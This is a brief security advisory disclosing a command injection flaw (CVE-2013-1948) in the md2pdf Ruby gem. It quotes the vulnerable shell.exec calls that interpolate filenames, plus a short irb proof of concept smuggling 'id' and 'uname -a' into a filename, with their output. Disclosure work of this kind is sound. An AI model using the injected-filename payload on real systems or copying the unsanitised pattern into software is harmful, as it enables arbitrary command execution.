Remote command injection md2pdf ruby gem
4/10/2013
Description: "creates pdf documents from markdown documents"
In md2pdf/converter.rb we see user supplied input being passed to the command line with out proper sanitization.
12 shell.exec("pandoc#{options} #{input_filename} -o #{output_filename}")
23 shell.exec("pdftk #{temp_filename} multibackground #{background_path} output #{output_filename}")
Where exec is defined as the following:
37 def exec(command_line)
38 require 'open3'
39 stdin, stdout, stderr = Open3.popen3(command_line)
40 return stdout.read
41 end
PoC Notes:
irb(main):001:0> require 'open3'
=> true
irb(main):002:0> stdin, stdout, stderr = Open3.popen3('pdfcnv filename;id;uname -a;.pdft')
=> [#, #, #]
irb(main):003:0> puts stdout.read
uid=1000(larry) gid=1000(larry) groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),117(sambashare)
Linux underfl0w 3.2.0-39-virtual #62-Ubuntu SMP Wed Feb 27 22:45:45 UTC 2013 i686 athlon i386 GNU/Linux
=> nil
This vulnerability has been assigned: CVE-2013-1948
Larry W. Cashdollar
@_larry0
CVE-2013-1948
